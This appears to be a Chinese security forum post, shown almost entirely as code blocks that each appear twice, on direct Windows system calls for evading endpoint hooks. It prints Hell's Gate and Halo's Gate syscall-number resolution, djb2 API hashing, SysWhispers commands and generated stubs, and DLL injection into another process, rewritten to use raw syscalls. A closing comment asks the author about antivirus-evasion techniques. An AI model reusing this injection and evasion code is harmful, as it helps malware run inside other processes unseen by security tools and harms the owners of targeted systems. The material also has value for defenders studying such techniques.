                && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
                pVxTableEntry->wSystemCall = (high << 8) | low + idx;
 
                return TRUE;
            }
 
        }
        return FALSE;
    }
if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
    for (WORD idx = 1; idx <= 500; idx++) {
        // check neighboring syscall down
        if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
            pVxTableEntry->wSystemCall = (high << 8) | low - idx;
            return TRUE;
        }
        // check neighboring syscall up
        if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
            pVxTableEntry->wSystemCall = (high << 8) | low + idx;
            return TRUE;
        }
 
    }
    return FALSE;
}
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
 
.data
    wSystemCall DWORD 000h
 
.code
    HellsGate PROC
        nop
        mov wSystemCall, 000h
        nop
        mov wSystemCall, ecx
        nop
        ret
    HellsGate ENDP
 
    HellDescent PROC
        nop
        mov rax, rcx
        nop
        mov r10, rax
        nop
        mov eax, wSystemCall
        nop
        syscall
        ret
    HellDescent ENDP
end
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
 
.data
    wSystemCall DWORD 000h
 
.code
    HellsGate PROC
        nop
        mov wSystemCall, 000h
        nop
        mov wSystemCall, ecx
        nop
        ret
    HellsGate ENDP
 
    HellDescent PROC
        nop
        mov rax, rcx
        nop
        mov r10, rax
        nop
        mov eax, wSystemCall
        nop
        syscall
        ret
    HellDescent ENDP
end
int GetSSN()
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return 1;
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
            printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
            Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
        }
    }
    // 输出内核函数对应的系统调用号
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
        cout << "index:" << index  << ' ' << iter->second << endl;
        index += 1;
    }
}
int GetSSN()
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return 1;
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
            printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
            Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
        }
    }
    // 输出内核函数对应的系统调用号
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
        cout << "index:" << index  << ' ' << iter->second << endl;
        index += 1;
    }
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
 
// 哈希函数,用于计算API名称的哈希值
unsigned long djb2(const char* str)
{
    unsigned long hash = 5381;
    int c;
 
    while (c = *str++)
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
 
    return hash;
}
 
// 修改后的GetSSN函数
int GetSSN(unsigned long api_hash)
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return -1; // 返回-1表示错误
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        if (djb2(pczFunctionName) == api_hash) {
            // 找到匹配的API,返回其序号
            return pwAddressOfNameOrdinales[cx];
        }
    }
    return -1; // 如果没有找到匹配的API,返回-1
}
 
int main()
{
    // 假设我们要查找的API名称的哈希值
    // 最好直接hash硬编码
    unsigned long api_hash = djb2("NtCreateFile");
    int syscall_number = GetSSN(api_hash);
    if (syscall_number != -1)
    {
        std::cout << "Found syscall number: " << syscall_number << std::endl;
    }
    else
    {
        std::cout << "API not found." << std::endl;
    }
    return 0;
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
 
// 哈希函数,用于计算API名称的哈希值
unsigned long djb2(const char* str)
{
    unsigned long hash = 5381;
    int c;
 
    while (c = *str++)
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
 
    return hash;
}
 
// 修改后的GetSSN函数
int GetSSN(unsigned long api_hash)
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return -1; // 返回-1表示错误
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        if (djb2(pczFunctionName) == api_hash) {
            // 找到匹配的API,返回其序号
            return pwAddressOfNameOrdinales[cx];
        }
    }
    return -1; // 如果没有找到匹配的API,返回-1
}
 
int main()
{
    // 假设我们要查找的API名称的哈希值
    // 最好直接hash硬编码
    unsigned long api_hash = djb2("NtCreateFile");
    int syscall_number = GetSSN(api_hash);
    if (syscall_number != -1)
    {
        std::cout << "Found syscall number: " << syscall_number << std::endl;
    }
    else
    {
        std::cout << "API not found." << std::endl;
    }
    return 0;
}
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
 
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
 
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
 
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
 
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
 
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
 
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019
 
SysWhispers: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.asm
        syscalls.h
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019
 
SysWhispers: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.asm
        syscalls.h
#include <Windows.h>
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
EXTERN_C NTSTATUS NtCreateThreadEx(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PVOID StartRoutine,
    IN PVOID Argument OPTIONAL,
    IN ULONG CreateFlags,
    IN SIZE_T ZeroBits,
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
 
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID * BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);
 
EXTERN_C NTSTATUS NtWriteVirtualMemory(
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    IN PVOID Buffer,
    IN SIZE_T NumberOfBytesToWrite,
    OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NtCreateThreadEx(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PVOID StartRoutine,
    IN PVOID Argument OPTIONAL,
    IN ULONG CreateFlags,
    IN SIZE_T ZeroBits,
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
 
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID * BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);
 
EXTERN_C NTSTATUS NtWriteVirtualMemory(
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    IN PVOID Buffer,
    IN SIZE_T NumberOfBytesToWrite,
    OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
NtAllocateVirtualMemory PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX:               ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtAllocateVirtualMemory_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtAllocateVirtualMemory_Check_10_0_XXXX
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp word ptr [rax+120h], 10240
    je  NtAllocateVirtualMemory_SystemCall_10_0_10240
    cmp word ptr [rax+120h], 10586
    je  NtAllocateVirtualMemory_SystemCall_10_0_10586
    cmp word ptr [rax+120h], 14393
    je  NtAllocateVirtualMemory_SystemCall_10_0_14393
    cmp word ptr [rax+120h], 15063
    .........
    cmp word ptr [rax+120h], 19043
    je  NtAllocateVirtualMemory_SystemCall_10_0_19043
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtAllocateVirtualMemory_Epilogue:
    mov r10, rcx
    syscall
    ret
NtAllocateVirtualMemory ENDP
NtAllocateVirtualMemory PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX:               ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtAllocateVirtualMemory_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtAllocateVirtualMemory_Check_10_0_XXXX
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp word ptr [rax+120h], 10240
    je  NtAllocateVirtualMemory_SystemCall_10_0_10240
    cmp word ptr [rax+120h], 10586
    je  NtAllocateVirtualMemory_SystemCall_10_0_10586
    cmp word ptr [rax+120h], 14393
    je  NtAllocateVirtualMemory_SystemCall_10_0_14393
    cmp word ptr [rax+120h], 15063
    .........
    cmp word ptr [rax+120h], 19043
    je  NtAllocateVirtualMemory_SystemCall_10_0_19043
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtAllocateVirtualMemory_Epilogue:
    mov r10, rcx
    syscall
    ret
NtAllocateVirtualMemory ENDP
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
 
SysWhispers2: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.std.x86.asm
        syscallsstubs.rnd.x86.asm
        syscallsstubs.std.x86.nasm
        syscallsstubs.rnd.x86.nasm
        syscallsstubs.std.x86.s
        syscallsstubs.rnd.x86.s
        syscallsinline.std.x86.h
        syscallsinline.rnd.x86.h
        syscallsstubs.std.x64.asm
        syscallsstubs.rnd.x64.asm
        syscallsstubs.std.x64.nasm
        syscallsstubs.rnd.x64.nasm
        syscallsstubs.std.x64.s
        syscallsstubs.rnd.x64.s
        syscallsinline.std.x64.h
        syscallsinline.rnd.x64.h
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
 
SysWhispers2: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.std.x86.asm
        syscallsstubs.rnd.x86.asm
        syscallsstubs.std.x86.nasm
        syscallsstubs.rnd.x86.nasm
        syscallsstubs.std.x86.s
        syscallsstubs.rnd.x86.s
        syscallsinline.std.x86.h
        syscallsinline.rnd.x86.h
        syscallsstubs.std.x64.asm
        syscallsstubs.rnd.x64.asm
        syscallsstubs.std.x64.nasm
        syscallsstubs.rnd.x64.nasm
        syscallsstubs.std.x64.s

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 11111
活跃值: (3075)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-6-3 16:57
0
雪    币: 1790
活跃值: (3786)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
感谢总结分享
2024-6-5 18:08
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
你好博主需需要你的免杀技术可以聊一下吗?
2024-8-16 11:01
0
游客
登录 | 注册 方可回帖
返回
//